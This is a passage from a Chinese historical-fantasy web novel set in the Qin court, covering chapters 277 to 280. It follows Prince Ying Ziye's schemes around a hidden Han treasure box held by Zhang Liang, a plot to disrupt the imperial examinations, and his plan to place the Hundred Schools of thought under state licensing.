“国内某些心怀叵测之辈,乃至一直对我大秦虎视眈眈的六国余孽,绝不会乐见北疆就此安宁。”
“儿臣恐其会借此良机,暗中布局,或挑拨离间,或制造事端,甚至…策划刺杀!”
“无论成败,只需将祸水引向这些胡族使者,便可轻易再次挑起大秦与北疆各族的战火,破坏互市之策,从中渔利!”
他的分析冷静而深刻,丝毫没有因为互市策略的成功而冲昏头脑。
反而看到了其下隐藏的更多风险。
殿内陷入
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了短暂的沉默。
良久,嬴政缓缓转过身。
珠帘之后,那双深邃如星海,锐利如鹰隼的目光,落在了赢子夜身上。
那目光中带着一种审视,一种考量。
最终化为一丝极淡却真实的满意!
“你能不因一时之功而沾沾自喜,反能洞察其下隐患,思虑及此……很好。”
嬴政的声音依旧平稳,却比方才多了一丝难以察觉的缓和。
“寡人,很满意。”
赢子夜躬身。
“父皇教诲,儿臣时刻不敢或忘。”
“居安思危,方能长久。”
嬴政微微颔首,他踱步上前,走到了赢子夜面前。
尽管赢子夜身材已十分挺拔,但在始皇那无形的帝威与高大的身影前,依旧感到一股令人心悸的压迫感!
“你能想到这些,已远超朝中那些只知道**的庸碌之辈。”
嬴政的声音陡然提高,带着一种睥睨天下的磅礴气势。
“然,你需知,我大秦,能扫灭六国,一统天下,靠的不仅仅是谋略,更是绝对的实力,是无惧任何挑战的自信与威严!”
他目光如炬,仿佛能燃烧一切阴霾。
“胡首来朝,纵有试探之心,那便让他们看!”
“让他们看清楚我大秦的宫阙何其壮丽!”
“我大秦的军容何其鼎盛!!”
“我大秦的律法何其严明!!”
“让他们看个清清楚楚,明明白白!”
“看得他们心生敬畏,看得他们不敢再生异心!!”
“至于那些藏在暗处,企图借机兴风作浪的魑魅魍魉……”
嬴政的嘴角勾起一抹冰冷而轻蔑的弧度,那是一种掌控一切的绝对自信。
“朕,难道会怕他们跳出来吗?”
“他们若敢伸手,那便正好!借此机会,将他们一一揪出,碾碎成齑粉!”
“用他们的血,来警示后来者!”
他的声音如同洪钟大吕,在这章台宫内回荡,带着一种不容置疑的决绝与力量。
“朕开设互市,是为安疆,是为惠民,非是惧怕他们!”
“他们若安分守己,便可共享太平。”
“若包藏祸心…大秦的铁骑,随时可以再次踏破草原,让他们的王庭,寸草不生!!!”
这一刻,始皇那吞并八荒,气盖六合的帝王气概展露无遗!
那不是盲目的自信,而是建立在赫赫武功和无双国势之上的绝对威严!!!
赢子夜深深吸了一口气,在父皇这磅礴的帝威面前,他感受到的不仅是压力,更是一种血脉贲张的激励。
他重重躬身。
“父皇圣明!儿臣……受教了!”
嬴政看着他,目光深邃,最后缓缓道。
“明白便好。”
“接待诸部使者之事,朕会交由典客署与蒙恬协同办理。”
“但你既为主张互市之人,亦需从旁留意。”
“朕,要看到一场彰显大秦国威,令四夷宾服的盛会,也要看到…所有跳梁小丑的最终结局。”
“儿臣领旨!”
赢子夜肃然应道。
嬴政不再多言,挥了挥手。
赢子夜会意,恭敬地行礼,一步步退出了这座蕴含着帝国最高权力与秘密的宫殿。
殿门再次合拢。
将始皇那孤高莫测的身影重新隔绝于内。
赢子夜站在殿外,深吸了一口冰冷的空气,眼中闪烁着与年龄不符的沉稳与锐光。
父皇的教导,如同一次淬火!
让他心中的信念与手段,变得更加清晰而坚定!!
第277章 敲山震虎!
旬日后。
桑海,小圣贤庄。
此处与咸阳的肃杀威严截然不同,亭台楼阁掩映在苍松翠柏之间,弥漫着书香与宁静的气息。
然而,这份宁静今日却被一位不速之客打破。
一袭妖娆红裙的赤练,如同万绿丛中一点灼目的火焰,袅袅娜娜地穿行在庄内清幽的竹林小径上,对沿途儒家弟子投来的或惊讶、或戒备、或好奇的目光视若无睹。
她径直来到张良平日清修所在的“弈思斋”外。
斋门虚掩着,隐约能听到里面棋子落于棋盘的清脆声响。
赤练并未通传,直接推门而入。
斋内,张良正独自一人坐在棋枰前,指尖拈着一枚白子,凝神思索着棋局。
听到门响,他讶然抬头。
当看清来人时,温润如玉的脸上瞬间闪过一丝极其复杂的愕然。
随即连忙起身,拱手行礼。
姿态优雅依旧,语气却带着难以掩饰的意外和一丝不易察觉的紧绷。
“红莲公主?您……您怎么来了?”
赤练闻言,红唇勾起一抹似笑非笑的弧度,眼神中带着几分自嘲与疏离。
“韩国早已不复存在,这世上哪还有什么公主?”
“子房先生还是叫我赤练吧。”
张良却坚持地微微摇头,目光真诚而带着一丝旧日的敬重。
“在子房心中,您永远都是韩国的公主。”
他略一迟疑,谨慎地问道:“不知公主殿下今日突然驾临小圣贤庄,所为何事?”
赤练踱步走进斋内,目光随意地扫过书架上浩繁的卷册和墙上的古剑,最后落在张良那张俊雅却隐含忧虑的脸上,语气慵懒地抛出一个重磅消息。
“也没什么大事。”
“不过是受人所托,前来跟你见上一面,叙叙旧罢了。”
“受人所托?”
张良温润的眉头微微一蹙,心中升起一股不祥的预感。
“不知公主是受何人所托?”
赤练看着他,红唇轻启,吐出三个字。
“赢子夜。”
刹那间,张良脸上的从容如同冰面般出现了裂痕!
虽然他极快地控制住了情绪,但那双总是蕴含着智慧与平静的眼眸深处,已然掀起了惊涛骇浪!
赢子夜!
那位如今在咸阳风头无两,深不可测的六公子!
他为何会突然通过红莲来找自己?
仅仅是……叙旧?
绝无可能!
他强压下心中的震动,声音努力保持平稳。
“原来是六公子殿下…不知殿下…还说了些什么?”
他试图从赤练的话语中捕捉更多信息。
赤练却摇了摇头,纤纤玉指把玩着一缕发丝。
“没了,他就让我来跟你叙叙旧,别的,什么也没说。”
她看着张良骤然变得凝重无比的神色,轻笑一声。
“呵,那位公子的心思,可是深得很呢。”
“他不说,我也懒得问。”
“不过嘛……”
她话锋一转,目光变得锐利了几分,带着一种旧相识的直率。
“他既然特意让我来这一趟,必有其深意。”
“子房,你跟我说实话,你是不是…背地里做了什么事,惹到那位了?”
她虽不知苍龙七宿宝盒的具体细节,但以她的聪慧和对张良,对赢子夜的了解,隐隐已猜到了几分端倪。
张良的心猛地一沉!
赤练的话,如同重锤敲击在他的心头!
赢子夜这看似无意的举动,实则是一次再明显不过的敲打和警告!
他是在告诉自己,他已知晓自己与红莲的关系,甚至可能已经怀疑到了宝盒之事!
他派红莲来,就是一种无声的威慑!
然而,宝盒之事关系太过重大,牵扯甚广。
他绝不能对任何人透露,即便是红莲。
他迅速收敛了所有外露的情绪,脸上重新浮现出那抹令人如沐春风的温和笑容,摇了摇头。
“公主多虑
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了。”
“子房如今只是一介儒生,在这小圣贤庄中读书下棋,又能做什么事惹怒堂堂大秦公子呢?”
“想必是殿下另有深意,或是真的只是想让公主出来散散心吧。”
他的否认在意料之中。
赤练深深地看了他一眼,没有再追问下去。
她了解张良,就如同张良了解她一样。
有些事,他若不说,问也无用。
她轻轻叹了口气,语气中多了几分难得的认真和关切。
“罢了,你不愿说,我也不逼你。”
“只是子房,你需记住,无论发生何事,你与九哥,都是我在这世上最亲近的人了。”
“若真有什么难处,莫要一个人硬扛着。”
“公主……”
张良心中涌起一股暖流,却又夹杂着更深的愧疚与沉重。
赤练没有再多留,她今日前来,任务已经完成。
传递赢子夜的信号,也表达了她的立场。
她转身,红裙划出一道决绝的弧线,向着斋外走去。
“你好自为之。”
声音落下,人已消失在门外竹林掩映的小径尽头。
斋内,张良独自站在原地,脸上那抹强撑的温和笑容早已消失得无影无踪。
取而代之的是一种前所未有的凝重与警惕。
他缓缓走到窗边,望着赤练远去的方向,目光深邃如渊。
赢子夜……
他果然已经盯上自己了。
这次派红莲前来,绝非叙旧那么简单。
这是一次敲山震虎,是一次明确的警告,更是一个诱饵——
他在等着自己因为惊慌而露出马脚,等着自己主动去处理那绝不能见光的宝盒!
山雨欲来风满楼。
张良感觉到,一张无形的大网,正在缓缓收紧。
而他,已成为网中最主要的目标之一。
接下来的每一步,都必须如履薄冰。
稍有行差踏错,便是…万劫不复!!!
……
第278章 机会,是掌握在自己手中的!
深山老林,人迹罕至之处。
空气中弥漫着潮湿的腐叶和泥土的气息。
茂密的树冠几乎遮蔽了所有的阳光,只有零星的光斑挣扎着投射下来,照亮一方阴翳。
几处简陋得不能再简陋的窝棚倚着山壁搭建。
上面覆盖着树枝和枯草,勉强能遮风避雨。
这里与其说是一个营地,不如说更像是一群被文明遗忘的野人的巢穴。
篝火旁。
围坐着几个衣衫褴褛、面黄肌瘦的汉子。
他们身上的衣服早已被荆棘刮得破破烂烂,沾满了泥污和干涸的血迹。
头发胡须虬结在一起,眼神中充满了长期饥饿和警惕带来的麻木与焦躁。
火堆上架着一只瘦骨嶙峋,显然没多少肉的野兔,正被烤得滋滋作响,散发出诱人却又少得可怜的肉香。
一个汉子撕下一条焦黑的兔腿。
谄媚地递给中间那个虽然同样狼狈,却依旧能看出几分不凡气度的男人——
刘季。
刘季接过,狠狠地咬了一口,咀嚼着那点塞牙缝都不够的肉,眉头紧锁。
长期的逃亡和营养不良。
让他那张原本带着几分痞气的脸变得棱角分明。
唯有一双眼睛,在困顿中依旧闪烁着不甘与狡黠的光芒。
“大哥。”
一个年纪稍轻的汉子舔了舔干裂的嘴唇,眼睛望着兔肉,声音沙哑地开口。
“俺听前几天偷偷下山换盐的瘸腿李说…咸阳那边,搞什么……科举?”
“说是不管啥出身,只要能考中,就能当官吃皇粮!”
“好多人都往咸阳去了……”
他的话像一颗石子投入死水,顿时引起了其他人的注意。
“是啊大哥!”
另一个汉子眼中冒出一点希冀的光。
“咱们…咱们要不要也去试试?”
“总比在这山里当野人,吃了上顿没下顿强啊!万一……”
“放**狗屁!”
那汉子的话还没说完。
刘季猛地将啃了一半的兔骨头狠狠砸在地上,霍地站起身,指着那汉子的鼻子破口大骂。
声音因愤怒而显得有些尖厉!
“试试?试你娘个头!”
“你们**撒泡尿照照自己!一个个认得几个字?之乎者也能背出几句?啊?!”
“那是考状元!不是**山贼火并!”
“去了也是给人当垫脚石,嫌死得不够快是不是?!”
他气得胸膛剧烈起伏,目光如同饿狼般扫过眼前这几个面黄肌瘦,眼带惶恐的兄弟,声音愈发狠厉。
“还有!都**给老子记住你们的身份!囚徒!逃犯!帝国海捕文书上画着像的人!”
“山下到处是官兵,是罗网、暗河、黑冰台的狗腿子!”
“你们是觉得脖子上的脑袋待得**稳了,想送出去给人家换赏钱吗?!”
被刘季这般疾言厉色地臭骂,那几个汉子顿时缩起了脖子,不敢再言语。
眼中的那点希冀之光瞬间熄灭了,只剩下更深的恐惧和绝望。
刘季看着他们这副模样,心中的怒火夹杂着一种难以言喻的酸楚和焦躁。
他深吸了几口林间冰冷的空气,强行压下翻涌的情绪,眼神变得异常狠辣,一字一句地警告道。
声音低沉却带着血腥味。
“都给老子听好了!”
“从今天起,谁再敢私自下山,哪怕只是去山脚溜达一圈,老子扒了他的皮!抽了他的筋!把他挂在树上喂狼!”
他凶狠的目光逐一扫过每一个人。
“别忘了!我们现在是一根绳上的蚂蚱!”
“一旦行踪泄露,被秦狗摸上来,咱们有一个算一个,全都得死!谁都跑不了!”
“想过好日子?可以!先把命保住了再说!”
窝棚前一片死寂,只有篝火燃烧的噼啪声和远处不知名野兽的嚎叫。
那几个汉子被刘季话语中的决绝和恐惧彻底镇住了,纷纷低下头,不敢与他对视。
良久。
一个汉子才抬起头,脸上带着近乎哀求的绝望,声音颤抖着问。
“大哥…那…那咱们到底要在这鬼地方躲到什么时候啊?”
“天天打猎,打不到就得饿肚子,这日子…啥时候是个头啊?”
刘季沉默了。
他缓缓坐回原地,脸上的凶狠之色渐渐褪去,取而代之的是一种深沉的疲惫和一种近乎偏执的坚韧。
他下意识地伸手入怀,紧紧攥住了怀里那枚冰冷坚硬,刻着古老文字的令牌。
神农堂侠魁令!
尽管浑身狼狈不堪。
但他的眼神却在触摸到令牌的那一刻,变得异常明亮和坚定。
他抬起头,望向被层层枝叶遮蔽,灰蒙蒙的天空。
仿佛能穿透这无尽的群山,看到遥远的桑海,或是咸阳!
“等。”
刘季的声音变得低沉而沙哑,却带着一种不容置疑的信念。
“等一个人的消息。”
“谁的消息?”
有汉子忍不住追问。
刘季却猛地收声,警惕地扫了四周一眼,摇了摇头,语气斩钉截铁。
“不该问的别问!到时候你们自然知道!”
他再次握紧了怀中的令牌,仿佛从中汲取着力量。
那个人…那个总是算无遗策,智谋超群的张良先生……
他一定会传来消息的!
他承诺过的!
现在所有的隐忍,所有的苦难,都是为了等待那个扭转乾坤的时机!
山林寂静,只剩下饥饿的腹鸣和沉重的呼吸声。
希望渺茫得如同风中残烛,但却在刘季紧握的令牌和他坚定的眼神中,顽固地燃烧着。
……
数日后。
六公子府书房。
赤练去而复返,依旧是那袭惹眼的红裙,只是眉宇间少了几分惯有的妖娆戏谑,多了一丝难以察觉的凝重。
她袅袅娜娜地走进书房,对着案后的赢子夜随意地福了一礼。
“公子殿下~您吩咐的事,妾身可是去过了。”
她声音依旧带着黏腻的甜味,却不如往日
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那般轻浮。
赢子夜从文书上抬起头,目光平静地看向她。
“有劳了。”
赤练摆了摆手,一副浑不在意的模样。
“拿人钱财,与人消灾。”
“殿下给了那般好的丹药,妾身跑跑腿也是应当的。”
她顿了顿,那双如同毒蛇般的眸子仔细打量着赢子夜的神色,脸上的慵懒渐渐收敛,语气变得严肃起来。
“殿下,您让我去见张良…是不是因为,韩国那个宝盒的事?”
书房内的空气似乎因她这句直白的问话而凝滞了片刻。
赢子夜看着她,没有否认,缓缓颔首。
“不错。”
虽然早有猜测,但得到赢子夜的亲口确认,赤练的心还是不由得往下一沉。
她沉默了片刻,红唇微抿,眼中闪过一丝极其复杂的挣扎!
那是她故国的遗物。
牵扯着韩非,也牵扯着张良……
她深吸一口气,仿佛下定了某种决心,抬起头,目光直视赢子夜,声音里带着一丝罕见的恳切。
“殿下,如果…如果那宝盒真的在他身上。”
“届时,若您得到了宝盒,能否高抬贵手,饶他一命?”
这是她能为那位亦兄亦友的旧相识,所做的最大努力了。
赢子夜闻言,脸上没有任何表情变化,只是那双深邃的黑眸变得更加幽冷。
他轻轻放下手中的笔,声音平稳却带着一种不容置疑的冷酷!
“机会,本公子已经给过他了。”
他目光如炬,仿佛能穿透人心。
“宝盒,是他自己主动交出来,还是等本公子亲自去找出……”
“这是两种截然不同的意思,也决定着两种截然不同的结局!”
他的话没有说尽,但其中的意味已然分明。
主动交出,或可视为戴罪立功,尚有一线生机。
若负隅顽抗,待被查出,那便是罪加一等,绝无宽宥可言!
赤练的心彻底凉了下去。
她了解赢子夜,此人言出必践,手段更是果决狠辣。
他能说出这番话,已然是看在她的面子和那瓶丹药的份上,给出的最大限度的“机会”了。
她看着赢子夜那副冰冷决绝,毫无转圜余地的神情,知道自己再说什么都是徒劳。
最终,她眼中那丝恳求的光芒黯淡下去,化为一声几不可闻的轻叹。
“妾身…明白了。”
她不再多言,对着赢子夜微微欠身,转身便向门外走去,红色的裙摆划过一道略显沉重的弧线。
赢子夜看着她离开的背影,目光幽深,未发一言。
然而,就在赤练离开后不到半个时辰。
书房内的阴影再次无声扭动!
一名暗河成员如同鬼魅般现身,单膝跪地,声音压得极低。
“主上!刚接到密报!”
“就在赤练姑娘抵达咸阳后不久,我们安插在城门及各处的眼线发现,小圣贤庄三当家张良,已乔装改扮,混在一队来自桑海的商旅之中,秘密进入了咸阳!”
第279章 本公子要废的,是百家之名!
“哦?”
赢子夜一直平静无波的脸上,终于浮现出一丝真正的讶异。
他身体微微前倾,指尖无意识地敲击着桌面。
这确实出乎他的意料。
张良是聪明人,赤练的突然到访,必然已让他如同惊弓之鸟,深知自己已被盯上。
按理说,此刻他最该做的是留在防守相对严密的小圣贤庄,或是另寻隐秘之处藏匿,静观其变。
可他偏偏反其道而行,竟冒着天大的风险,主动潜入了帝国心脏、罗网与黑冰台势力最为庞大的咸阳!
“明知山有虎,偏向虎山行……”
赢子夜低声自语,眼中闪烁着锐利的光芒。
“张良啊张良,你绝非鲁莽之辈。”
“此次甘冒奇险前来,必定有……你不得不来的理由!”
是什么?
能让他不惜以身犯险?
是为了确认赤练传递的信息?
是为了亲自探查咸阳的布防与科举筹备的虚实?
还是说……
那宝盒的藏匿或转移,已经到了最关键的时刻,必须他亲自前来操控?
一个个念头在赢子夜脑中飞速闪过。
他知道,张良此举,绝非自投罗网。
背后必然隐藏着更深的目的!
他立刻收敛所有情绪,眼神恢复冰冷果断,对那名暗河成员下令道。
“传令!”
“挑选暗河中最顶尖的好手,给本公子死死盯住张良!”
“我要知道他去了哪里,见了什么人,说了什么话,哪怕他一天上几次茅厕,本公子都要知道!”
“但是,绝不可打草惊蛇!”
“诺!”
暗河成员沉声领命。
“还有。”赢子夜补充道。
“小圣贤庄那边的监视非但不能撤,还要再加派人手!”
“继续给本公子暗中搜查,任何可疑的角落都不要放过!”
“宝盒,或许还在庄内!”
他绝不相信张良会轻易将如此重要的东西带在身上闯入咸阳。
更大的可能,宝盒仍被藏在某处。
而张良此次前来,或是为了最后确认,或是为了执行某项与宝盒相关的秘密计划。
“属下遵命!”
暗河成员再次领命,身影如同融入黑暗般,悄然退去。
书房内,赢子夜独自站起身,走到窗边,望着窗外沉沉的夜色,嘴角缓缓勾起一抹冰冷而充满兴味的弧度。
张良这颗棋子,终于忍不住,主动跳入了这盘天下大棋之中。
那么,接下来,你又打算如何落子呢?
……
翌日。
丞相府书房。
李斯正埋首于堆积如山的科举文书之中。
他核对阅卷官名单,审查考场布置图样,批阅各郡县送来的士子名录…
忙得焦头烂额,额角甚至渗出了细密的汗珠。
科举大典迫在眉睫,千头万绪皆需他这位丞相最终把关,他恨不能将自己分成两人来用。
就在这时,一名公子府的内侍悄然而至,传达了一个让李斯颇为错愕的口谕。
“殿下请丞相过府一叙,手谈一局。”
“下棋?”
“此刻?”
李斯持笔的手顿在半空,脸上写满了难以置信。
他几乎怀疑自己听错了。
眼下正是科举筹备最紧要的关头,六公子殿下身为统筹者之一,怎会有如此闲情逸致邀他下棋?
然而,内侍态度恭敬却坚持,表明这确实是公子殿下亲口所言。
李斯心中疑窦丛生,但不敢怠慢。
他只得放下手中繁忙的公务,整理了一下衣冠,怀着满腹的疑惑,随着内侍前往六公子府。
……
公子府书房内。
并未如李斯想象的那般紧张忙碌,反而异常宁静。
赢子夜独自坐在窗边的棋枰前,指尖拈着一枚温润的黑玉棋子,正若有所思地看着棋盘上那副残局。
香炉中袅袅升起的青烟,带着淡淡的檀香,平添了几分闲适之意。
“臣,李斯,参见殿下。”
李斯压下心中的不解,上前恭敬行礼。
赢子夜抬起头,脸上露出一抹淡淡的笑容,指了指对面的席位。
“丞相来了,坐。”
“公务繁忙,偶歇片刻,手谈一局,松松筋骨。”
“殿下雅兴。”
李斯依言坐下,目光扫过棋盘,心中却丝毫不敢放松。
他绝不相信赢子夜此刻找他来,真的只是为了下棋。
两人对弈,落子无声。
起初只是寻常的布局,赢子夜棋风大气沉稳,李斯则谨慎缜密。
下了约莫一炷香的时间,棋局渐入中盘。
赢子夜忽然看似随意地开口,目光却并未离开棋盘。
“丞相执掌帝国律法政务,对天下大势见解精深。”
“本公子有一问,想请教丞相。”
李斯执子的手微微一顿,心道果然来了。
他谨慎应道:“殿下请问,老臣必知无不言。”
赢子夜落下一子,声音平稳无波。
“在丞相看来,这诸子百家与我大秦帝国,算是什么?”
李斯闻言,心中猛地一咯噔。
他完全没料到赢子夜会突然问出这样一个看似宏大,却又极其敏感的问题。
尤其是在科举这个节骨眼上。
他沉吟片刻,仔细斟酌着用词,不敢轻易回答。
他偷偷抬眼观察赢子夜的神色,却见对方依旧专注于棋局,仿佛真的只是在探讨一个学术问题。
李斯深吸一口气,决定按照自己一贯的认知和最为稳妥的方式回答。
“回殿下。”
“依老臣愚见,诸子百家,虽自成学派体系,看似超然物外,然其根基本在帝国疆域之内,实则依附于朝廷而存。”
“其门人弟子,亦需遵从秦律,纳粮服役。”
“然,诸子百家确有其独立超然之心,学说思想不一,并非完全受朝廷辖制。”
“其中,亦不乏堪比管仲、商鞅、韩非这等不世出之奇才。”
“若能善加引导,取其精华,亦能为帝国所用,强盛国本。”
“故而,若论二者联系,老臣以为,或可称之为…相辅相成?”
这是他基于事实和一贯**理念得出的结论。
既承认了百家的独立性,也肯定了其对帝国的价值。
听起来四平八稳,无可指摘。
然而,赢子夜听完,却并未立刻回应。
他只是缓缓又从棋罐中取出一枚棋子,指尖摩挲着光滑的玉质表面,唇角勾起一抹极淡,却意味深长的弧度。
“相辅相成?”
他轻声重复了一遍这四个字,语气平淡,却带着一种莫名的冷意。
他抬起眼,目光终于从棋盘上移开,落在了李斯那张带着疑惑与谨慎的脸上。
那目光平静,却深邃得令人心悸。
“可在本公子眼中,”
赢子夜的声音清晰而冷静,每一个字都仿佛带着千钧之力。
“诸子百家于大秦而言,却不过是一些…类别不同的棋子罢了。”
“棋子?”
李斯面色一怔,持棋的手指僵在半空,完全没料到会得到这样一个答案。
赢子夜无视他的错愕,继续淡淡道,语气中带着一种居高临下的漠然。
“正因为帝国对这些棋子太过宽纵,予其沃土任其生长,却
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未曾紧紧握住那根操控它们的线。”
“以至于时至今日,这些棋子竟然忘了自己的本分,生出了不该有的心思,试图…跳脱出帝国的掌控!”
话音落下,书房内一片死寂!
李斯彻底怔住了,他看着赢子夜那副平静却蕴含着惊人锋芒的侧脸,后背陡然升起一股寒意。
殿下这番话……
其意深远,其心难测!
这绝不是在单纯地讨论百家与帝国的关系!
尤其是在科举即将举行,万千士子,其中还不乏百家弟子…汇聚咸阳的敏感时刻!
他张了张嘴,却发现喉咙有些干涩,一时竟不知该如何接话。
殿下究竟想做什么?
赢子夜缓缓从棋枰前站起身,踱步到窗边,负手而立。
窗外庭院深深,他的目光却仿佛穿透了层层屋宇,投向了遥远桑海的方向,声音变得深邃而难以捉摸。
“张良隐匿韩国宝盒,私藏复国信物,其心可诛。”
“丞相,依你之见,小圣贤庄内,伏念、颜路,乃至那些终日诵读圣贤书的弟子……”
“他们对张良所为,是真的一无所知,还是…有心在替其遮掩,共担这欺君罔上之罪?”
李斯闻言,心中剧震!!
持棋的手彻底僵住,指尖的白玉棋子几乎要捏出汗来。
他张了张嘴,却发现喉咙干涩得发不出声音。
这个问题,太过尖锐,也太过致命!
无论他回答知道还是不知道,都可能将整个儒家拖入万劫不复的深渊!
他额角渗出冷汗,只能选择沉默,垂首盯着棋盘上错综复杂的局势,仿佛那里面藏着答案。
赢子夜并未回头,也并未等待他的回答,仿佛只是随口一问。
他继续说着,声音平稳,却带着一种冰冷,追溯历史的漠然。
“墨家,仗其兼爱非攻,收留帝国叛逆,据守机关城,负隅顽抗。”
“农家,弟子十万,遍布天下,却为一己私利,屡生事端,搅动风云。”
“乃至其他各家,谁又敢说,从未想过以其所学,动摇我大秦根基,行那‘王道’‘仁政’复辟之美梦?”
他的语气逐渐加重,每一个字都如同冰冷的铁钉,敲入李斯的耳中。
“他们,早已忘了身为棋子的本分。”
“帝国给予他们存身之地,他们回报的,却是离心与祸乱。”
赢子夜猛地转过身,目光如两道实质的冷电,直射向脸色发白的李斯。
“故而,本公子打算,待科举之事尘埃落定之后…便要让这诸子百家,从帝国的棋盘之上,彻底消失!!!”
“殿下!不可!”
李斯闻言,如遭雷击,猛地站起身,连礼仪都顾不上了,失声惊呼!
他脸色煞白,眼中充满了难以置信的惊骇!
废除诸子百家?
这简直是石破天惊!
这将引起何等滔天巨浪?
天下学子必将离心离德,帝国根基都可能因此动摇!
这绝非明智之举!
看到李斯如此剧烈的反应,赢子夜却忽然笑了,那笑容里带着一丝玩味和了然。
他摆了摆手,示意李斯稍安勿躁。
“丞相误会了。”
赢子夜的声音重新变得平静,却带着一种更令人心悸的掌控力。
“本公子何时说过,要废除百家之学了?”
李斯愣在原地,脸上惊骇未退,又添上浓浓的疑惑。
“殿下的意思是……?”
赢子夜踱步上前,目光锐利如刀,一字一句,清晰无比地说道。
“本公子要废的,非是百家之学,而是——”
“百家之名!”
第280章 此举,可钳制天下学说!
“废名?”
李斯更加困惑,眉头紧紧锁起。
他完全无法理解这两者之间的区别。
“不错!”
赢子夜斩钉截铁,眼中闪烁着一种开创性的、冷酷的光芒。
“自今而后,天下间,不可再有人随意自称儒家弟子、法家门人、墨家巨子!”
“诸子百家所有名号、传承、收徒之权,尽数收归帝国!”
他看着李斯那震惊到几乎空洞的眼神,详细阐释道:
“唯有通过帝国科举选拔,由朝廷认可,授其官职,赐其印信者,方可代表其学派,传授其学说!”
“其所著文章,需经朝廷审核。”
“其所收门徒,需在官府登记造册!”
“看似提升了百家之学的地位,使其成为官学正统,实则——”
赢子夜的声音陡然变得冰冷而绝对。
“却是将诸子百家所有的传承,所有的声音,所有的未来,都牢牢钳制于帝国的掌心之中!”
“从此,天下只有一种百家,那便是帝国的百家!”
“只有一种学说,那便是能用于大秦的学说!”
他举了一个例子,这个例子让李斯浑身冰冷。
“哪怕是被天下儒生尊称为大贤的荀夫子,若无帝国的承认与册封,他便非儒家圣贤!”
“其学说,便是私学,便是异端!”
“其所言所著,便不得随意传播!!”
轰隆!
这番话,如同九天惊雷,在李斯脑海中炸响!
他彻底明白了!
整个人如同被冰水浇透,从头顶凉到脚心,却又感到一种前所未有的震撼!
这不是粗暴的毁灭,这是更高明、更彻底、更釜底抽薪的征服!
殿下是要从根本上**诸子百家的独立性,剥夺他们自我传承,自我定义的权力!
从此以后。
所有的学派,所有的贤者,所有的思想,都必须经过帝国的认证,才能拥有存在的资格!
所谓的“百家争鸣”,将变成帝国允许范围内的“百家吟唱”!
所有的棋子,都被一根无形,却绝对坚韧的线,牢牢系在了帝国这双掌控一切的手中!
一瞬间。
万世书院的宏伟蓝图在他脑海中闪过!
李斯猛地抬起头,眼中充满了恍然大悟的惊悸,声音都带着一丝颤抖。
“帝宫之学…万世书院…殿下,您早在修建它之时,恐怕……就已经在为此日铺路了吧?!”
那不是简单的招揽人才,那根本就是为了将来容纳、改造、驯化所有百家学说的终极牢笼和最高殿堂!
赢子夜看着李斯那震惊到无以复加的表情,唇角那抹掌控一切的弧度,愈发深邃。
之后。
李斯怀着满心的震撼与前所未有的沉重,离开了六公子府。
书房内再次恢复了宁静。
唯有赢子夜指尖无意识敲击桌面的轻微声响,在空旷的房间里回荡。
他深邃的目光落在棋盘上那未尽的残局,仿佛在推演着更加宏大而复杂的天下棋局。
就在这时。
阴影再次无声扭动,一名暗河成员如同融入黑暗的滴水,悄无声息地出现。
单膝跪地,双手呈上一份最新的密报。
“主上,关于张良的监视奏报。”
赢子夜收回思绪,接过密报,快速扫过。
绢条上的字迹简洁而冰冷:
【目标入咸阳后,居于城南“悦来”客栈丙字三号房,终日闭门不出,未曾与任何人接触,饮食皆由小二送入,无异动。】
“终日闭门不出?也未与人接触?”
赢子夜轻声重复着这几个字,眉头微蹙。
这绝非张良的风格。
他甘冒奇险潜入咸阳,绝不可能只是为了找间客栈闭关。
如此沉寂,反而更像是在酝酿着什么,或者……是在等待什么。
“继续盯死,哪怕他房内多了一只飞蛾,也要报于我知。”
赢子夜冷声下令。
“诺。”
暗河成员应道,却并未立刻离开,而是继续禀报。
“另有一事。”
“近日咸阳城内,涌入的商旅数量较平日明显增多,虽看似正常,但其行踪路线与人员构成,经交叉比对,与黑冰台此前监控的,大量购入火油等物的七家商铺,存在隐秘关联。”
“此事,黑冰台已将其部分监控信息同步于我暗河。”
说着,他呈上另一份由黑冰台转来的加密文书。
赢子夜接过,展开一看。
上面详细记录了数支商队的规模、落脚点、人员大致特征。
以及他们与那几家商铺之间几次极其隐蔽的物资交接情况。
虽然证据链尚未完全闭合,但指向已经非常明确。
“商旅…火油……”
赢子夜眼中寒光一闪,瞬间将这条线索与父皇那日提及的防火隐患联系了起来。
他心中已然明了!
这些所谓的“商旅”,恐怕就是企图在科举大典上制造混乱的那些人伪装而成的!
他们混在真正的人流中进入咸阳,正在暗中集结,囤积着致命的“柴火”!
“黑冰台目前有何动作?”
赢子夜沉声问道。
“回主上,黑冰台的人已如同影子般盯**这些商队及其落脚点。”
“但遵照陛下旨意,暂未打草惊蛇,只在暗中记录所有与其接触的可疑人员,欲挖出其背后主谋及所有关联网络。”
赢子夜微微颔首。
父皇此举意在放长线钓大鱼,他自然明白。
但此事关乎科举成败和咸阳安危,他绝不能完全置身事外!
“让我们的人也暗中协助监察,重点盯住他们囤积物资的那些废弃仓廪和民
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宅!”
“任何风吹草动,立刻报我!”
“切记,绝不可干扰黑冰台的行动,更不可暴露自身。”
赢子夜做出了谨慎的补充安排。
“属下明白!”
暗河成员领命。
赢子夜沉吟片刻,又问及另一件关心之事。
“小圣贤庄那边,搜查可有进展?”
暗河成员精神一振,立刻回禀。
“正要禀告主上!”
“我等奉命暗中搜查张良居所及小圣贤庄可疑之处,虽未发现宝盒踪迹,但在一处极其隐蔽,以机关术伪装的墙洞内,找到了这个。”
他呈上一份看起来有些年头的陈旧帛书。
赢子夜接过打开,发现并非什么密信,而是一份……
地契?
地契所标的位置,并非桑海繁华之地,而是一个听起来有些陌生偏僻的地方。
博浪沙!
赢子夜目光一凝,指尖点在地契上的这个名字。
此地距离咸阳不算近,也非交通要冲。
张良为何如此隐秘地收藏着那里的一份地契?
这绝非寻常!
“可有派人去查?”
赢子夜立刻追问,心中升起一股强烈的预感。
“已第一时间派出一队精干好手,连夜前往博浪沙暗中搜寻!”
“相信很快就会有消息传回!”
暗河成员笃定地回答。
“很好!”
赢子夜眼中闪过一丝锐芒。
张良的异常安静,与这份突如其来的博浪沙地契。
两者之间,必然存在着某种不为人知的联系!
或许,宝盒的秘密,就藏在那里!
他压下心中的波澜,神色恢复冷峻,对暗河成员下达了最后的指令。
“传令下去,所有暗河所属,近期需打起十二分精神!”
“科举在即,北疆诸部使臣亦将陆续抵达咸阳。”
“此刻咸阳鱼龙混杂,暗流汹涌,正是牛鬼蛇神最易作乱之时!”
“给本公子盯紧城中一切异动,尤其是那些所谓的‘商旅’以及各国外使的落脚点!”
